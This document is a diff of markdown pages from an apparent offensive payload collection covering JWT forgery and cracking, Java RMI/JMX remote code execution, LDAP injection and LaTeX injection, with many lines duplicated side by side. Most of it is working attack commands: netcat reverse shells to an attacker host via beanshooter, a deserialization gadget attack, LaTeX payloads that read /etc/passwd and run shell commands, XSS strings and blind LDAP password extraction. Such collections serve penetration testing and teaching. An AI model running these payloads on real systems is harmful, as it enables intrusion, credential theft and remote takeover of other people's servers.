[+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic [+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic
``` ```
* Recon: `python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw` - Recon: `python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw`
* Scanning: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb` - Scanning: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb`
* Exploitation: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin` - Exploitation: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin`
* Fuzzing: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt` - Fuzzing: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt`
* Review: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin` - Review: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin`
#### Hashcat #### Hashcat
> Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - [src](https://twitter.com/hashcat/status/955154646494040065) > Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - [src](https://twitter.com/hashcat/status/955154646494040065)
* Dictionary attack: `hashcat -a 0 -m 16500 jwt.txt wordlist.txt` - Dictionary attack: `hashcat -a 0 -m 16500 jwt.txt wordlist.txt`
* Rule-based attack: `hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule` - Rule-based attack: `hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule`
* Brute force attack: `hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6` - Brute force attack: `hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6`
## JWT Claims ## JWT Claims
[IANA's JSON Web Token Claims](https://www.iana.org/assignments/jwt/jwt.xhtml) [IANA's JSON Web Token Claims](https://www.iana.org/assignments/jwt/jwt.xhtml)
### JWT kid Claim Misuse ### JWT kid Claim Misuse
The "kid" (key ID) claim in a JSON Web Token (JWT) is an optional header parameter that is used to indicate the identifier of the cryptographic key that was used to sign or encrypt the JWT. It is important to note that the key identifier itself does not provide any security benefits, but rather it enables the recipient to locate the key that is needed to verify the integrity of the JWT. The "kid" (key ID) claim in a JSON Web Token (JWT) is an optional header parameter that is used to indicate the identifier of the cryptographic key that was used to sign or encrypt the JWT. It is important to note that the key identifier itself does not provide any security benefits, but rather it enables the recipient to locate the key that is needed to verify the integrity of the JWT.
* Example #1 : Local file - Example #1 : Local file
```json ```json
{ {
"alg": "HS256", "alg": "HS256",
@ -415,7 +409,8 @@ The "kid" (key ID) claim in a JSON Web Token (JWT) is an optional header paramet
} }
``` ```
* Example #2 : Remote file - Example #2 : Remote file
```json ```json
{ {
"alg":"RS256", "alg":"RS256",
@ -436,8 +431,10 @@ HMACSHA256(
``` ```
The common ways to misuse the kid header: The common ways to misuse the kid header:
* Get the key content to change the payload
* Change the key path to force your own - Get the key content to change the payload
- Change the key path to force your own
```py ```py
>>> jwt.encode( >>> jwt.encode(
... {"some": "payload"}, ... {"some": "payload"},
@ -447,14 +444,14 @@ The common ways to misuse the kid header:
... ) ... )
``` ```
* Change the key path to a file with a predictable content. - Change the key path to a file with a predictable content.
```ps1 ```ps1
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p "" python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
python3 jwt_tool.py <JWT> -I -hc kid -hv "/proc/sys/kernel/randomize_va_space" -S hs256 -p "2" python3 jwt_tool.py <JWT> -I -hc kid -hv "/proc/sys/kernel/randomize_va_space" -S hs256 -p "2"
``` ```
* Modify the kid header to attempt SQL and Command Injections - Modify the kid header to attempt SQL and Command Injections
### JWKS - jku header injection ### JWKS - jku header injection
@ -462,12 +459,12 @@ The common ways to misuse the kid header:
It is sometimes exposed publicly via a standard endpoint: It is sometimes exposed publicly via a standard endpoint:
* `/jwks.json` - `/jwks.json`
* `/.well-known/jwks.json` - `/.well-known/jwks.json`
* `/openid/connect/jwks.json` - `/openid/connect/jwks.json`
* `/api/keys` - `/api/keys`
* `/api/v1/keys` - `/api/v1/keys`
* [`/{tenant}/oauth2/v1/certs`](https://docs.theidentityhub.com/doc/Protocol-Endpoints/OpenID-Connect/OpenID-Connect-JWKS-Endpoint.html) - [`/{tenant}/oauth2/v1/certs`](https://docs.theidentityhub.com/doc/Protocol-Endpoints/OpenID-Connect/OpenID-Connect-JWKS-Endpoint.html)
You should create your own key pair for this attack and host it. It should look like that: You should create your own key pair for this attack and host it. It should look like that:
@ -486,12 +483,14 @@ You should create your own key pair for this attack and host it. It should look
**Exploit**: **Exploit**:
* Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool) - Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
```ps1 ```ps1
python3 jwt_tool.py JWT_HERE -X s python3 jwt_tool.py JWT_HERE -X s
python3 jwt_tool.py JWT_HERE -X s -ju http://example.com/jwks.json python3 jwt_tool.py JWT_HERE -X s -ju http://example.com/jwks.json
``` ```
* Using [portswigger/JWT Editor](https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd)
- Using [portswigger/JWT Editor](https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd)
1. Generate a new RSA key and host it 1. Generate a new RSA key and host it
2. Edit JWT's data 2. Edit JWT's data
3. Replace the `kid` header with the one from your JWKS 3. Replace the `kid` header with the one from your JWKS
@ -505,23 +504,21 @@ You should create your own key pair for this attack and host it. It should look
[Signed with new Private key; Public key exported] [Signed with new Private key; Public key exported]
``` ```
## Labs
## Labs - [PortSwigger - JWT authentication bypass via unverified signature](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature)
- [PortSwigger - JWT authentication bypass via flawed signature verification](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification)
* [PortSwigger - JWT authentication bypass via unverified signature](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature) - [PortSwigger - JWT authentication bypass via weak signing key](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key)
* [PortSwigger - JWT authentication bypass via flawed signature verification](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification) - [PortSwigger - JWT authentication bypass via jwk header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection)
* [PortSwigger - JWT authentication bypass via weak signing key](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key) - [PortSwigger - JWT authentication bypass via jku header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection)
* [PortSwigger - JWT authentication bypass via jwk header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection) - [PortSwigger - JWT authentication bypass via kid header path traversal](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal)
* [PortSwigger - JWT authentication bypass via jku header injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection) - [Root Me - JWT - Introduction](https://www.root-me.org/fr/Challenges/Web-Serveur/JWT-Introduction)
* [PortSwigger - JWT authentication bypass via kid header path traversal](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal) - [Root Me - JWT - Revoked token](https://www.root-me.org/en/Challenges/Web-Server/JWT-Revoked-token)
* [Root Me - JWT - Introduction](https://www.root-me.org/fr/Challenges/Web-Serveur/JWT-Introduction) - [Root Me - JWT - Weak secret](https://www.root-me.org/en/Challenges/Web-Server/JWT-Weak-secret)
* [Root Me - JWT - Revoked token](https://www.root-me.org/en/Challenges/Web-Server/JWT-Revoked-token) - [Root Me - JWT - Unsecure File Signature](https://www.root-me.org/en/Challenges/Web-Server/JWT-Unsecure-File-Signature)
* [Root Me - JWT - Weak secret](https://www.root-me.org/en/Challenges/Web-Server/JWT-Weak-secret) - [Root Me - JWT - Public key](https://www.root-me.org/en/Challenges/Web-Server/JWT-Public-key)
* [Root Me - JWT - Unsecure File Signature](https://www.root-me.org/en/Challenges/Web-Server/JWT-Unsecure-File-Signature) - [Root Me - JWT - Header Injection](https://www.root-me.org/en/Challenges/Web-Server/JWT-Header-Injection)
* [Root Me - JWT - Public key](https://www.root-me.org/en/Challenges/Web-Server/JWT-Public-key) - [Root Me - JWT - Unsecure Key Handling](https://www.root-me.org/en/Challenges/Web-Server/JWT-Unsecure-Key-Handling)
* [Root Me - JWT - Header Injection](https://www.root-me.org/en/Challenges/Web-Server/JWT-Header-Injection)
* [Root Me - JWT - Unsecure Key Handling](https://www.root-me.org/en/Challenges/Web-Server/JWT-Unsecure-Key-Handling)
## References ## References
@ -541,4 +538,4 @@ You should create your own key pair for this attack and host it. It should look
- [Privilege Escalation like a Boss - janijay007 - October 27, 2018](https://blog.securitybreached.org/2018/10/27/privilege-escalation-like-a-boss/) - [Privilege Escalation like a Boss - janijay007 - October 27, 2018](https://blog.securitybreached.org/2018/10/27/privilege-escalation-like-a-boss/)
- [Simple JWT hacking - Hari Prasanth (@b1ack_h00d) - March 7, 2019](https://medium.com/@blackhood/simple-jwt-hacking-73870a976750) - [Simple JWT hacking - Hari Prasanth (@b1ack_h00d) - March 7, 2019](https://medium.com/@blackhood/simple-jwt-hacking-73870a976750)
- [WebSec CTF - Authorization Token - JWT Challenge - Kris Hunt - August 7, 2016](https://ctf.rip/websec-ctf-authorization-token-jwt-challenge/) - [WebSec CTF - Authorization Token - JWT Challenge - Kris Hunt - August 7, 2016](https://ctf.rip/websec-ctf-authorization-token-jwt-challenge/)
- [Write up JRR Token LeHack 2019 - Laphaze - July 7, 2019](https://web.archive.org/web/20210512205928/https://rootinthemiddle.org/write-up-jrr-token-lehack-2019/) - [Write up JRR Token LeHack 2019 - Laphaze - July 7, 2019](https://web.archive.org/web/20210512205928/https://rootinthemiddle.org/write-up-jrr-token-lehack-2019/)

View file

@ -2,7 +2,6 @@
> Java RMI (Remote Method Invocation) is a Java API that allows an object running in one JVM (Java Virtual Machine) to invoke methods on an object running in another JVM, even if they're on different physical machines. RMI provides a mechanism for Java-based distributed computing. > Java RMI (Remote Method Invocation) is a Java API that allows an object running in one JVM (Java Virtual Machine) to invoke methods on an object running in another JVM, even if they're on different physical machines. RMI provides a mechanism for Java-based distributed computing.
## Summary ## Summary
* [Tools](#tools) * [Tools](#tools)
@ -13,18 +12,17 @@
* [RCE using Metasploit](#rce-using-metasploit) * [RCE using Metasploit](#rce-using-metasploit)
* [References](#references) * [References](#references)
## Tools ## Tools
- [siberas/sjet](https://github.com/siberas/sjet) - siberas JMX exploitation toolkit * [siberas/sjet](https://github.com/siberas/sjet) - siberas JMX exploitation toolkit
- [mogwailabs/mjet](https://github.com/mogwailabs/mjet) - MOGWAI LABS JMX exploitation toolkit * [mogwailabs/mjet](https://github.com/mogwailabs/mjet) - MOGWAI LABS JMX exploitation toolkit
- [qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - Java RMI Vulnerability Scanner * [qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - Java RMI Vulnerability Scanner
- [qtc-de/beanshooter](https://github.com/qtc-de/beanshooter) - JMX enumeration and attacking tool. * [qtc-de/beanshooter](https://github.com/qtc-de/beanshooter) - JMX enumeration and attacking tool.
## Detection ## Detection
* Using [nmap](https://nmap.org/): * Using [nmap](https://nmap.org/):
```powershell ```powershell
$ nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p TARGET_PORT TARGET_IP -Pn -v $ nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p TARGET_PORT TARGET_IP -Pn -v
1089/tcp open java-rmi Java RMI 1089/tcp open java-rmi Java RMI
@ -39,31 +37,33 @@
``` ```
* Using [qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser): * Using [qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser):
```bash ```bash
$ rmg scan 172.17.0.2 --ports 0-65535 $ rmg scan 172.17.0.2 --ports 0-65535
[+] Scanning 6225 Ports on 172.17.0.2 for RMI services. [+] Scanning 6225 Ports on 172.17.0.2 for RMI services.
[+] [HIT] Found RMI service(s) on 172.17.0.2:40393 (DGC) [+] [HIT] Found RMI service(s) on 172.17.0.2:40393 (DGC)
[+] [HIT] Found RMI service(s) on 172.17.0.2:1090 (Registry, DGC) [+] [HIT] Found RMI service(s) on 172.17.0.2:1090 (Registry, DGC)
[+] [HIT] Found RMI service(s) on 172.17.0.2:9010 (Registry, Activator, DGC) [+] [HIT] Found RMI service(s) on 172.17.0.2:9010 (Registry, Activator, DGC)
[+] [6234 / 6234] [#############################] 100% [+] [6234 / 6234] [#############################] 100%
[+] Portscan finished. [+] Portscan finished.
$ rmg enum 172.17.0.2 9010 $ rmg enum 172.17.0.2 9010
[+] RMI registry bound names: [+] RMI registry bound names:
[+] [+]
[+] - plain-server2 [+] - plain-server2
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) [+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711] [+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] - legacy-service [+] - legacy-service
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class) [+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309] [+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] - plain-server [+] - plain-server
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) [+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813] [+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]
[...] [...]
``` ```
* Using [rapid7/metasploit-framework](https://github.com/rapid7/metasploit-framework) * Using [rapid7/metasploit-framework](https://github.com/rapid7/metasploit-framework)
```bash ```bash
use auxiliary/scanner/misc/java_rmi_server use auxiliary/scanner/misc/java_rmi_server
set RHOSTS <IPs> set RHOSTS <IPs>
@ -75,7 +75,6 @@
If a Java Remote Method Invocation (RMI) service is poorly configured, it becomes vulnerable to various Remote Code Execution (RCE) methods. One method involves hosting an MLet file and directing the JMX service to load MBeans from a distant server, achievable using tools like mjet or sjet. The remote-method-guesser tool is newer and combines RMI service enumeration with an overview of recognized attack strategies. If a Java Remote Method Invocation (RMI) service is poorly configured, it becomes vulnerable to various Remote Code Execution (RCE) methods. One method involves hosting an MLet file and directing the JMX service to load MBeans from a distant server, achievable using tools like mjet or sjet. The remote-method-guesser tool is newer and combines RMI service enumeration with an overview of recognized attack strategies.
### RCE using beanshooter ### RCE using beanshooter
* List available attributes: `beanshooter info 172.17.0.2 9010` * List available attributes: `beanshooter info 172.17.0.2 9010`
@ -86,28 +85,28 @@ If a Java Remote Method Invocation (RMI) service is poorly configured, it become
* Deploy an MBean: `beanshooter deploy 172.17.0.2 9010 non.existing.example.ExampleBean qtc.test:type=Example --jar-file exampleBean.jar --stager-url http://172.17.0.1:8000` * Deploy an MBean: `beanshooter deploy 172.17.0.2 9010 non.existing.example.ExampleBean qtc.test:type=Example --jar-file exampleBean.jar --stager-url http://172.17.0.1:8000`
* Enumerate JMX endpoint: `beanshooter enum 172.17.0.2 1090` * Enumerate JMX endpoint: `beanshooter enum 172.17.0.2 1090`
* Invoke method on a JMX endpoint: `beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'vmVersion()'` * Invoke method on a JMX endpoint: `beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'vmVersion()'`
* Invoke arbitrary public and static Java methods: * Invoke arbitrary public and static Java methods:
```ps1 ```ps1
beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.io.File 'new java.io.File("/")' beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.io.File 'new java.io.File("/")'
beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()' beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
``` ```
* Standard MBean execution: `beanshooter standard 172.17.0.2 9010 exec 'nc 172.17.0.1 4444 -e ash'` * Standard MBean execution: `beanshooter standard 172.17.0.2 9010 exec 'nc 172.17.0.1 4444 -e ash'`
* Deserialization attacks on a JMX endpoint: `beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --username admin --password admin` * Deserialization attacks on a JMX endpoint: `beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --username admin --password admin`
### RCE using sjet or mjet ### RCE using sjet or mjet
#### Requirements #### Requirements
- Jython * Jython
- The JMX server can connect to a http service that is controlled by the attacker * The JMX server can connect to a http service that is controlled by the attacker
- JMX authentication is not enabled * JMX authentication is not enabled
#### Remote Command Execution #### Remote Command Execution
The attack involves the following steps: The attack involves the following steps:
* Starting a web server that hosts the MLet and a JAR file with the malicious MBeans * Starting a web server that hosts the MLet and a JAR file with the malicious MBeans
* Creating a instance of the MBean `javax.management.loading.MLet` on the target server, using JMX * Creating a instance of the MBean `javax.management.loading.MLet` on the target server, using JMX
* Invoking the `getMBeansFromURL` method of the MBean instance, passing the webserver URL as parameter. The JMX service will connect to the http server and parse the MLet file. * Invoking the `getMBeansFromURL` method of the MBean instance, passing the webserver URL as parameter. The JMX service will connect to the http server and parse the MLet file.
@ -139,9 +138,8 @@ set RPORT <PORT>
run run
``` ```
## References ## References
- [Attacking RMI based JMX services - Hans-Martin Münch - April 28, 2019](https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/) * [Attacking RMI based JMX services - Hans-Martin Münch - April 28, 2019](https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/)
- [JMX RMI - MULTIPLE APPLICATIONS RCE - Red Timmy Security - March 26, 2019](https://www.exploit-db.com/docs/english/46607-jmx-rmi--multiple-applications-remote-code-execution.pdf) * [JMX RMI - MULTIPLE APPLICATIONS RCE - Red Timmy Security - March 26, 2019](https://www.exploit-db.com/docs/english/46607-jmx-rmi--multiple-applications-remote-code-execution.pdf)
- [remote-method-guesser - BHUSA 2021 Arsenal - Tobias Neitzel - August 15, 2021](https://www.slideshare.net/TobiasNeitzel/remotemethodguesser-bhusa2021-arsenal) * [remote-method-guesser - BHUSA 2021 Arsenal - Tobias Neitzel - August 15, 2021](https://www.slideshare.net/TobiasNeitzel/remotemethodguesser-bhusa2021-arsenal)

View file

@ -2,7 +2,6 @@
> LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy. > LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.
## Summary ## Summary
* [Methodology](#methodology) * [Methodology](#methodology)
@ -16,7 +15,6 @@
* [Labs](#labs) * [Labs](#labs)
* [References](#references) * [References](#references)
## Methodology ## Methodology
LDAP Injection is a vulnerability that occurs when user-supplied input is used to construct LDAP queries without proper sanitization or escaping LDAP Injection is a vulnerability that occurs when user-supplied input is used to construct LDAP queries without proper sanitization or escaping
@ -41,7 +39,6 @@ pass = q))
query = (&(uid=admin)(!(&(1=0)(userPassword=q)))) query = (&(uid=admin)(!(&(1=0)(userPassword=q))))
``` ```
### Blind Exploitation ### Blind Exploitation
This scenario demonstrates LDAP blind exploitation using a technique similar to binary search or character-based brute-forcing to discover sensitive information like passwords. It relies on the fact that LDAP filters respond differently to queries based on whether the conditions match or not, without directly revealing the actual password. This scenario demonstrates LDAP blind exploitation using a technique similar to binary search or character-based brute-forcing to discover sensitive information like passwords. It relies on the fact that LDAP filters respond differently to queries based on whether the conditions match or not, without directly revealing the actual password.
@ -64,13 +61,12 @@ This scenario demonstrates LDAP blind exploitation using a technique similar to
(&(sn=administrator)(password=MYKE)) : OK (&(sn=administrator)(password=MYKE)) : OK
``` ```
**LDAP Filter Breakdown** **LDAP Filter Breakdown**:
* `&`: Logical AND operator, meaning all conditions inside must be true. * `&`: Logical AND operator, meaning all conditions inside must be true.
* `(sn=administrator)`: Matches entries where the sn (surname) attribute is administrator. * `(sn=administrator)`: Matches entries where the sn (surname) attribute is administrator.
* `(password=X*)`: Matches entries where the password starts with X (case-sensitive). The asterisk (*) is a wildcard, representing any remaining characters. * `(password=X*)`: Matches entries where the password starts with X (case-sensitive). The asterisk (*) is a wildcard, representing any remaining characters.
## Defaults Attributes ## Defaults Attributes
Can be used in an injection like `*)(ATTRIBUTE_HERE=*` Can be used in an injection like `*)(ATTRIBUTE_HERE=*`
@ -87,7 +83,6 @@ givenName
commonName commonName
``` ```
## Exploiting userPassword Attribute ## Exploiting userPassword Attribute
`userPassword` attribute is not a string like the `cn` attribute for example but its an OCTET STRING `userPassword` attribute is not a string like the `cn` attribute for example but its an OCTET STRING
@ -163,19 +158,17 @@ flag = ''
end end
``` ```
## Labs ## Labs
* [Root Me - LDAP injection - Authentication](https://www.root-me.org/en/Challenges/Web-Server/LDAP-injection-Authentication) * [Root Me - LDAP injection - Authentication](https://www.root-me.org/en/Challenges/Web-Server/LDAP-injection-Authentication)
* [Root Me - LDAP injection - Blind](https://www.root-me.org/en/Challenges/Web-Server/LDAP-injection-Blind) * [Root Me - LDAP injection - Blind](https://www.root-me.org/en/Challenges/Web-Server/LDAP-injection-Blind)
## References ## References
- [[European Cyber Week] - AdmYSion - Alan Marrec (Maki)](https://www.maki.bzh/writeups/ecw2018admyssion/) * [[European Cyber Week] - AdmYSion - Alan Marrec (Maki)](https://www.maki.bzh/writeups/ecw2018admyssion/)
- [ECW 2018 : Write Up - AdmYSsion (WEB - 50) - 0xUKN - October 31, 2018](https://0xukn.fr/posts/writeupecw2018admyssion/) * [ECW 2018 : Write Up - AdmYSsion (WEB - 50) - 0xUKN - October 31, 2018](https://0xukn.fr/posts/writeupecw2018admyssion/)
- [How To Configure OpenLDAP and Perform Administrative LDAP Tasks - Justin Ellingwood - May 30, 2015](https://www.digitalocean.com/community/tutorials/how-to-configure-openldap-and-perform-administrative-ldap-tasks) * [How To Configure OpenLDAP and Perform Administrative LDAP Tasks - Justin Ellingwood - May 30, 2015](https://www.digitalocean.com/community/tutorials/how-to-configure-openldap-and-perform-administrative-ldap-tasks)
- [How To Manage and Use LDAP Servers with OpenLDAP Utilities - Justin Ellingwood - May 29, 2015](https://www.digitalocean.com/community/tutorials/how-to-manage-and-use-ldap-servers-with-openldap-utilities) * [How To Manage and Use LDAP Servers with OpenLDAP Utilities - Justin Ellingwood - May 29, 2015](https://www.digitalocean.com/community/tutorials/how-to-manage-and-use-ldap-servers-with-openldap-utilities)
- [LDAP Blind Explorer - Alonso Parada - August 12, 2011](http://code.google.com/p/ldap-blind-explorer/) * [LDAP Blind Explorer - Alonso Parada - August 12, 2011](http://code.google.com/p/ldap-blind-explorer/)
- [LDAP Injection & Blind LDAP Injection - Chema Alonso, José Parada Gimeno - October 10, 2008](https://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf) * [LDAP Injection & Blind LDAP Injection - Chema Alonso, José Parada Gimeno - October 10, 2008](https://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf)
- [LDAP Injection Prevention Cheat Sheet - OWASP - July 16, 2019](https://www.owasp.org/index.php/LDAP_injection) * [LDAP Injection Prevention Cheat Sheet - OWASP - July 16, 2019](https://www.owasp.org/index.php/LDAP_injection)

View file

@ -1,7 +1,6 @@
# LaTeX Injection # LaTeX Injection
> LaTeX Injection is a type of injection attack where malicious content is injected into LaTeX documents. LaTeX is widely used for document preparation and typesetting, particularly in academia, for producing high-quality scientific and mathematical documents. Due to its powerful scripting capabilities, LaTeX can be exploited by attackers to execute arbitrary commands if proper safeguards are not in place. > LaTeX Injection is a type of injection attack where malicious content is injected into LaTeX documents. LaTeX is widely used for document preparation and typesetting, particularly in academia, for producing high-quality scientific and mathematical documents. Due to its powerful scripting capabilities, LaTeX can be exploited by attackers to execute arbitrary commands if proper safeguards are not in place.
## Summary ## Summary
@ -13,7 +12,6 @@
* [Labs](#labs) * [Labs](#labs)
* [References](#references) * [References](#references)
## File Manipulation ## File Manipulation
### Read File ### Read File
@ -57,8 +55,8 @@ Read text file, **without** interpreting the content, it will only paste raw fil
\verbatiminput{/etc/passwd} \verbatiminput{/etc/passwd}
``` ```
If injection point is past document header (`\usepackage` cannot be used), some control If injection point is past document header (`\usepackage` cannot be used), some control
characters can be deactivated in order to use `\input` on file containing `$`, `#`, characters can be deactivated in order to use `\input` on file containing `$`, `#`,
`_`, `&`, null bytes, ... (eg. perl scripts). `_`, `&`, null bytes, ... (eg. perl scripts).
```tex ```tex
@ -69,9 +67,10 @@ characters can be deactivated in order to use `\input` on file containing `$`, `
\input{path_to_script.pl} \input{path_to_script.pl}
``` ```
To bypass a blacklist try to replace one character with it's unicode hex value. To bypass a blacklist try to replace one character with it's unicode hex value.
- ^^41 represents a capital A
- ^^7e represents a tilde (~) note that the e must be lower case * ^^41 represents a capital A
* ^^7e represents a tilde (~) note that the e must be lower case
```tex ```tex
\lstin^^70utlisting{/etc/passwd} \lstin^^70utlisting{/etc/passwd}
@ -90,7 +89,6 @@ Write single lined file:
\closeout\outfile \closeout\outfile
``` ```
## Command Execution ## Command Execution
The output of the command will be redirected to stdout, therefore you need to use a temp file to get it. The output of the command will be redirected to stdout, therefore you need to use a temp file to get it.
@ -112,10 +110,9 @@ If you get any LaTex error, consider using base64 to get the result without bad
\input{|"/bin/hostname"} \input{|"/bin/hostname"}
``` ```
## Cross Site Scripting ## Cross Site Scripting
From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130) From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
```tex ```tex
\url{javascript:alert(1)} \url{javascript:alert(1)}
@ -128,15 +125,13 @@ In [mathjax](https://docs.mathjax.org/en/latest/input/tex/extensions/unicode.htm
\unicode{<img src=1 onerror="<ARBITRARY_JS_CODE>">} \unicode{<img src=1 onerror="<ARBITRARY_JS_CODE>">}
``` ```
## Labs ## Labs
